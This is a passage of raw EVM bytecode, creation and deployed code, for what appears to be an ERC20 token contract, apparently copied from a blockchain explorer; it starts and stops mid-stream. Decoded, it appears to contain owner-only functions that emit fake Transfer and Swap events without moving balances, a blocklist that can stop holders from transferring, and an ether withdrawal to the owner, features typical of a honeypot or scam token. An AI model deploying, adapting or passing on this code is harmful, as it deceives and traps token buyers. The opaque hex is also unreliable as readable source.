73398bc1d25f112ed64085774394d02028060005260016020526040600020720fffffffffffffffffffffffffffffffffffff81555050806004600082825462000386919062000a74565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200043a919062000ac0565b60405180910390a362000456600083836200045f60201b60201c565b5050565b505050565b505050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620004e657607f821691505b602082108103620004fc57620004fb6200049e565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620005667fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000527565b62000572868362000527565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620005bf620005b9620005b3846200058a565b62000594565b6200058a565b9050919050565b6000819050919050565b620005db836200059e565b620005f3620005ea82620005c6565b84845462000534565b825550505050565b600090565b6200060a620005fb565b62000617818484620005d0565b505050565b5b818110156200063f576200063360008262000600565b6001810190506200061d565b5050565b601f8211156200068e57620006588162000502565b620006638462000517565b8101602085101562000673578190505b6200068b620006828562000517565b8301826200061c565b50505b505050565b600082821c905092915050565b6000620006b36000198460080262000693565b1980831691505092915050565b6000620006ce8383620006a0565b9150826002028217905092915050565b620006e98262000464565b67ffffffffffffffff8111156200070557620007046200046f565b5b620007118254620004cd565b6200071e82828562000643565b600060209050601f83116001811462000756576000841562000741578287015190505b6200074d8582620006c0565b865550620007bd565b601f198416620007668662000502565b60005b82811015620007905784890151825560018201915060208501945060208101905062000769565b86831015620007b05784890151620007ac601f891682620006a0565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000853578086048111156200082b576200082a620007c5565b5b60018516156200083b5780820291505b80810290506200084b85620007f4565b94506200080b565b94509492505050565b6000826200086e576001905062000941565b816200087e576000905062000941565b8160018114620008975760028114620008a257620008d8565b600191505062000941565b60ff841115620008b757620008b6620007c5565b5b8360020a915084821115620008d157620008d0620007c5565b5b5062000941565b5060208310610133831016604e8410600b8410161715620009125782820a9050838111156200090c576200090b620007c5565b5b62000941565b62000921848484600162000801565b925090508184048111156200093b576200093a620007c5565b5b81810290505b9392505050565b600060ff82169050919050565b600062000962826200058a565b91506200096f8362000948565b92506200099e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200085c565b905092915050565b6000620009b3826200058a565b9150620009c0836200058a565b9250828202620009d0816200058a565b91508282048414831517620009ea57620009e9620007c5565b5b5092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000a3a601f83620009f1565b915062000a478262000a02565b602082019050919050565b6000602082019050818103600083015262000a6d8162000a2b565b9050919050565b600062000a81826200058a565b915062000a8e836200058a565b925082820190508082111562000aa95762000aa8620007c5565b5b92915050565b62000aba816200058a565b82525050565b600060208201905062000ad7600083018462000aaf565b92915050565b6123a28062000aed6000396000f3fe608060405234801561001057600080fd5b506004361061014d5760003560e01c806377a1736b116100c3578063a9059cbb1161007c578063a9059cbb1461039e578063beabacc8146103ce578063c78052c6146103ea578063dd62ed3e146103f4578063e6bd3c0d14610424578063f2fde38b146104405761014d565b806377a1736b146102de5780637aac697b146102fa5780638da5cb5b1461031657806395d89b4114610334578063a1c617f514610352578063a457c2d71461036e5761014d565b806338bf3cfa1161011557806338bf3cfa1461020c57806339509351146102285780634551a9de1461025857806370a08231146102885780637111a994146102b8578063715018a6146102d45761014d565b806306fdde0314610152578063095ea7b31461017057806318160ddd146101a057806323b872dd146101be578063313ce567146101ee575b600080fd5b61015a61045c565b6040516101679190611796565b60405180910390f35b61018a60048036038101906101859190611856565b6104ee565b60405161019791906118b1565b60405180910390f35b6101a8610511565b6040516101b591906118db565b60405180910390f35b6101d860048036038101906101d391906118f6565b61051b565b6040516101e591906118b1565b60405180910390f35b6101f661054a565b6040516102039190611965565b60405180910390f35b61022660048036038101906102219190611980565b610553565b005b610242600480360381019061023d9190611856565b61059f565b60405161024f91906118b1565b60405180910390f35b610272600480360381019061026d9190611980565b6105d6565b60405161027f91906118b1565b60405180910390f35b6102a2600480360381019061029d9190611980565b61062c565b6040516102af91906118db565b60405180910390f35b6102d260048036038101906102cd9190611a68565b610675565b005b6102dc61076b565b005b6102f860048036038101906102f39190611b1c565b61077f565b005b610314600480360381019061030f9190611b69565b610909565b005b61031e610a95565b60405161032b9190611bec565b60405180910390f35b61033c610abe565b6040516103499190611796565b60405180910390f35b61036c60048036038101906103679190611b69565b610b50565b005b61038860048036038101906103839190611856565b610cdb565b60405161039591906118b1565b60405180910390f35b6103b860048036038101906103b39190611856565b610d52565b6040516103c591906118b1565b60405180910390f35b6103e860048036038101906103e391906118f6565b610d75565b005b6103f2610ddf565b005b61040e60048036038101906104099190611c07565b610e30565b60405161041b91906118db565b60405180910390f35b61043e60048036038101906104399190611b1c565b610eb7565b005b61045a60048036038101906104559190611980565b610f64565b005b60606006805461046b90611c76565b80601f016020809104026020016040519081016040528092919081815260200182805461049790611c76565b80156104e45780601f106104b9576101008083540402835291602001916104e4565b820191906000526020600020905b8154815290600101906020018083116104c757829003601f168201915b5050505050905090565b6000806104f9610fe7565b9050610506818585610fef565b600191505092915050565b6000600454905090565b600080610526610fe7565b90506105338582856111b8565b61053e858585611244565b60019150509392505050565b60006012905090565b61055b6115ba565b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000806105aa610fe7565b90506105cb8185856105bc8589610e30565b6105c69190611cd6565b610fef565b600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60005b868690508110156107625784848281811061069657610695611d0a565b5b90506020020160208101906106ab9190611980565b73ffffffffffffffffffffffffffffffffffffffff168787838181106106d4576106d3611d0a565b5b90506020020160208101906106e99190611980565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85858581811061073357610732611d0a565b5b9050602002013560405161074791906118db565b60405180910390a3808061075a90611d39565b915050610678565b50505050505050565b6107736115ba565b61077d6000611638565b565b6107876115ba565b60005b82829050811015610904576001600260008585858181106107ae576107ad611d0a565b5b90506020020160208101906107c39190611980565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168383838181106108605761085f611d0a565b5b90506020020160208101906108759190611980565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9256108dc8686868181106108c2576108c1611d0a565b5b90506020020160208101906108d79190611980565b61062c565b6040516108e991906118db565b60405180910390a380806108fc90611d39565b91505061078a565b505050565b60005b84849050811015610a8e5784848281811061092a57610929611d0a565b5b905060200201602081019061093f9190611980565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8226000868660006040516109c59493929190611dc6565b60405180910390a3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16858583818110610a1957610a18611d0a565b5b9050602002016020810190610a2e9190611980565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610a7391906118db565b60405180910390a38080610a8690611d39565b91505061090c565b5050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054610acd90611c76565b80601f0160208091040260200160405190810160405280929190818152602001828054610af990611c76565b8015610b465780601f10610b1b57610100808354040283529160200191610b46565b820191906000526020600020905b815481529060010190602001808311610b2957829003601f168201915b5050505050905090565b60005b84849050811015610cd457848482818110610b7157610b70611d0a565b5b9050602002016020810190610b869190611980565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228560008087604051610c0b9493929190611e0b565b60405180910390a3848482818110610c2657610c25611d0a565b5b9050602002016020810190610c3b9190611980565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610cb991906118db565b60405180910390a38080610ccc90611d39565b915050610b53565b5050505050565b600080610ce6610fe7565b90506000610cf48286610e30565b905083811015610d39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3090611ec2565b60405180910390fd5b610d468286868403610fef565b60019250505092915050565b600080610d5d610fe7565b9050610d6a818585611244565b600191505092915050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610dd291906118db565b60405180910390a3505050565b610de76115ba565b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610e2d573d6000803e3d6000fd5b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ebf6115ba565b60005b82829050811015610f5f57600060026000858585818110610ee657610ee5611d0a565b5b9050602002016020810190610efb9190611980565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610f5790611d39565b915050610ec2565b505050565b610f6c6115ba565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610fdb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd290611f54565b60405180910390fd5b610fe481611638565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361105e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105590611fe6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c490612078565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111ab91906118db565b60405180910390a3505050565b60006111c48484610e30565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461123e5781811015611230576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611227906120e4565b60405180910390fd5b61123d8484848403610fef565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112aa90612176565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611322576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131990612208565b60405180910390fd5b61132d8383836116fc565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156113b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ab9061229a565b60405180910390fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114555750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156114b15760011515600560009054906101000a900460ff161515146114b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a7906122e0565b60405180910390fd5b5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115a191906118db565b60405180910390a36115b4848484611701565b50505050565b6115c2610fe7565b73ffffffffffffffffffffffffffffffffffffffff166115e0610a95565b73ffffffffffffffffffffffffffffffffffffffff1614611636576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162d9061234c565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611740578082015181840152602081019050611725565b60008484015250505050565b6000601f19601f8301169050919050565b600061176882611706565b6117728185611711565b9350611782818560208601611722565b61178b8161174c565b840191505092915050565b600060208201905081810360008301526117b0818461175d565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006117ed826117c2565b9050919050565b6117fd816117e2565b811461180857600080fd5b50565b60008135905061181a816117f4565b92915050565b6000819050919050565b61183381611820565b811461183e57600080fd5b50565b6000813590506118508161182a565b92915050565b6000806040838503121561186d5761186c6117b8565b5b600061187b8582860161180b565b925050602061188c85828601611841565b9150509250929050565b60008115159050919050565b6118ab81611896565b82525050565b60006020820190506118c660008301846118a2565b92915050565b6118d581611820565b82525050565b60006020820190506118f060008301846118cc565b92915050565b60008060006060848603121561190f5761190e6117b8565b5b600061191d8682870161180b565b935050602061192e8682870161180b565b925050604061193f86828701611841565b9150509250925092565b600060ff82169050919050565b61195f81611949565b82525050565b600060208201905061197a6000830184611956565b92915050565b600060208284031215611996576119956117b8565b5b60006119a48482850161180b565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126119d2576119d16119ad565b5b8235905067ffffffffffffffff8111156119ef576119ee6119b2565b5b602083019150836020820283011115611a0b57611a0a6119b7565b5b9250929050565b60008083601f840112611a2857611a276119ad565b5b8235905067ffffffffffffffff811115611a4557611a446119b2565b5b602083019150836020820283011115611a6157611a606119b7565b5b9250929050565b60008060008060008060608789031215611a8557611a846117b8565b5b600087013567ffffffffffffffff811115611aa357611aa26117bd565b5b611aaf89828a016119bc565b9650965050602087013567ffffffffffffffff811115611ad257611ad16117bd565b5b611ade89828a016119bc565b9450945050604087013567ffffffffffffffff811115611b0157611b006117bd565b5b611b0d89828a01611a12565b92509250509295509295509295565b60008060208385031215611b3357611b326117b8565b5b600083013567ffffffffffffffff811115611b5157611b506117bd565b5b611b5d858286016119bc565b92509250509250929050565b60008060008060608587031215611b8357611b826117b8565b5b600085013567ffffffffffffffff811115611ba157611ba06117bd565b5b611bad878288016119bc565b94509450506020611bc087828801611841565b9250506040611bd187828801611841565b91505092959194509250565b611be6816117e2565b82525050565b6000602082019050611c016000830184611bdd565b92915050565b60008060408385031215611c1e57611c1d6117b8565b5b6000611c2c8582860161180b565b9250506020611c3d8582860161180b565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611c8e57607f821691505b602082108103611ca157611ca0611c47565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611ce182611820565b9150611cec83611820565b9250828201905080821115611d0457611d03611ca7565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611d4482611820565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611d7657611d75611ca7565b5b600182019050919050565b6000819050919050565b6000819050919050565b6000611db0611dab611da684611d81565b611d8b565b611820565b9050919050565b611dc081611d95565b82525050565b6000608082019050611ddb6000830187611db7565b611de860208301866118cc565b611df560408301856118cc565b611e026060830184611db7565b95945050505050565b6000608082019050611e2060008301876118cc565b611e2d6020830186611db7565b611e3a6040830185611db7565b611e4760608301846118cc565b95945050505050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611eac602583611711565b9150611eb782611e50565b604082019050919050565b60006020820190508181036000830152611edb81611e9f565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611f3e602683611711565b9150611f4982611ee2565b604082019050919050565b60006020820190508181036000830152611f6d81611f31565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611fd0602483611711565b9150611fdb82611f74565b604082019050919050565b60006020820190508181036000830152611fff81611fc3565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612062602283611711565b915061206d82612006565b604082019050919050565b6000602082019050818103600083015261209181612055565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006120ce601d83611711565b91506120d982612098565b602082019050919050565b600060208201905081810360008301526120fd816120c1565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612160602583611711565b915061216b82612104565b604082019050919050565b6000602082019050818103600083015261218f81612153565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006121f2602383611711565b91506121fd82612196565b604082019050919050565b60006020820190508181036000830152612221816121e5565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612284602683611711565b915061228f82612228565b604082019050919050565b600060208201905081810360008301526122b381612277565b9050919050565b50565b60006122ca600083611711565b91506122d5826122ba565b600082019050919050565b600060208201905081810360008301526122f9816122bd565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612336602083611711565b915061234182612300565b602082019050919050565b6000602082019050818103600083015261236581612329565b905091905056fea264697066735822122066f5f1aa3713d785a2f92c9fd546f553c1ab79945b355c8708f1c2d0d211438164736f6c63430008120033
Deployed Bytecode
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c806377a1736b116100c3578063a9059cbb1161007c578063a9059cbb1461039e578063beabacc8146103ce578063c78052c6146103ea578063dd62ed3e146103f4578063e6bd3c0d14610424578063f2fde38b146104405761014d565b806377a1736b146102de5780637aac697b146102fa5780638da5cb5b1461031657806395d89b4114610334578063a1c617f514610352578063a457c2d71461036e5761014d565b806338bf3cfa1161011557806338bf3cfa1461020c57806339509351146102285780634551a9de1461025857806370a08231146102885780637111a994146102b8578063715018a6146102d45761014d565b806306fdde0314610152578063095ea7b31461017057806318160ddd146101a057806323b872dd146101be578063313ce567146101ee575b600080fd5b61015a61045c565b6040516101679190611796565b60405180910390f35b61018a60048036038101906101859190611856565b6104ee565b60405161019791906118b1565b60405180910390f35b6101a8610511565b6040516101b591906118db565b60405180910390f35b6101d860048036038101906101d391906118f6565b61051b565b6040516101e591906118b1565b60405180910390f35b6101f661054a565b6040516102039190611965565b60405180910390f35b61022660048036038101906102219190611980565b610553565b005b610242600480360381019061023d9190611856565b61059f565b60405161024f91906118b1565b60405180910390f35b610272600480360381019061026d9190611980565b6105d6565b60405161027f91906118b1565b60405180910390f35b6102a2600480360381019061029d9190611980565b61062c565b6040516102af91906118db565b60405180910390f35b6102d260048036038101906102cd9190611a68565b610675565b005b6102dc61076b565b005b6102f860048036038101906102f39190611b1c565b61077f565b005b610314600480360381019061030f9190611b69565b610909565b005b61031e610a95565b60405161032b9190611bec565b60405180910390f35b61033c610abe565b6040516103499190611796565b60405180910390f35b61036c60048036038101906103679190611b69565b610b50565b005b61038860048036038101906103839190611856565b610cdb565b60405161039591906118b1565b60405180910390f35b6103b860048036038101906103b39190611856565b610d52565b6040516103c591906118b1565b60405180910390f35b6103e860048036038101906103e391906118f6565b610d75565b005b6103f2610ddf565b005b61040e60048036038101906104099190611c07565b610e30565b60405161041b91906118db565b60405180910390f35b61043e60048036038101906104399190611b1c565b610eb7565b005b61045a60048036038101906104559190611980565b610f64565b005b60606006805461046b90611c76565b80601f016020809104026020016040519081016040528092919081815260200182805461049790611c76565b80156104e45780601f106104b9576101008083540402835291602001916104e4565b820191906000526020600020905b8154815290600101906020018083116104c757829003601f168201915b5050505050905090565b6000806104f9610fe7565b9050610506818585610fef565b600191505092915050565b6000600454905090565b600080610526610fe7565b90506105338582856111b8565b61053e858585611244565b60019150509392505050565b60006012905090565b61055b6115ba565b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000806105aa610fe7565b90506105cb8185856105bc8589610e30565b6105c69190611cd6565b610fef565b600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60005b868690508110156107625784848281811061069657610695611d0a565b5b90506020020160208101906106ab9190611980565b73ffffffffffffffffffffffffffffffffffffffff168787838181106106d4576106d3611d0a565b5b90506020020160208101906106e99190611980565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85858581811061073357610732611d0a565b5b9050602002013560405161074791906118db565b60405180910390a3808061075a90611d39565b915050610678565b50505050505050565b6107736115ba565b61077d6000611638565b565b6107876115ba565b60005b82829050811015610904576001600260008585858181106107ae576107ad611d0a565b5b90506020020160208101906107c39190611980565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168383838181106108605761085f611d0a565b5b90506020020160208101906108759190611980565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9256108dc8686868181106108c2576108c1611d0a565b5b90506020020160208101906108d79190611980565b61062c565b6040516108e991906118db565b60405180910390a380806108fc90611d39565b91505061078a565b505050565b60005b84849050811015610a8e5784848281811061092a57610929611d0a565b5b905060200201602081019061093f9190611980565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8226000868660006040516109c59493929190611dc6565b60405180910390a3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16858583818110610a1957610a18611d0a565b5b9050602002016020810190610a2e9190611980565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610a7391906118db565b60405180910390a38080610a8690611d39565b91505061090c565b5050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054610acd90611c76565b80601f0160208091040260200160405190810160405280929190818152602001828054610af990611c76565b8015610b465780601f10610b1b57610100808354040283529160200191610b46565b820191906000526020600020905b815481529060010190602001808311610b2957829003601f168201915b5050505050905090565b60005b84849050811015610cd457848482818110610b7157610b70611d0a565b5b9050602002016020810190610b869190611980565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228560008087604051610c0b9493929190611e0b565b60405180910390a3848482818110610c2657610c25611d0a565b5b9050602002016020810190610c3b9190611980565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610cb991906118db565b60405180910390a38080610ccc90611d39565b915050610b53565b5050505050565b600080610ce6610fe7565b90506000610cf48286610e30565b905083811015610d39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3090611ec2565b60405180910390fd5b610d468286868403610fef565b60019250505092915050565b600080610d5d610fe7565b9050610d6a818585611244565b600191505092915050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610dd291906118db565b60405180910390a3505050565b610de76115ba565b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610e2d573d6000803e3d6000fd5b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ebf6115ba565b60005b82829050811015610f5f57600060026000858585818110610ee657610ee5611d0a565b5b9050602002016020810190610efb9190611980565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610f5790611d39565b915050610ec2565b505050565b610f6c6115ba565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610fdb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd290611f54565b60405180910390fd5b610fe481611638565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361105e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105590611fe6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c490612078565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111ab91906118db565b60405180910390a3505050565b60006111c48484610e30565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461123e5781811015611230576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611227906120e4565b60405180910390fd5b61123d8484848403610fef565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112aa90612176565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611322576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131990612208565b60405180910390fd5b61132d8383836116fc565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156113b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ab9061229a565b60405180910390fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114555750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156114b15760011515600560009054906101000a900460ff161515146114b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a7906122e0565b60405180910390fd5b5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4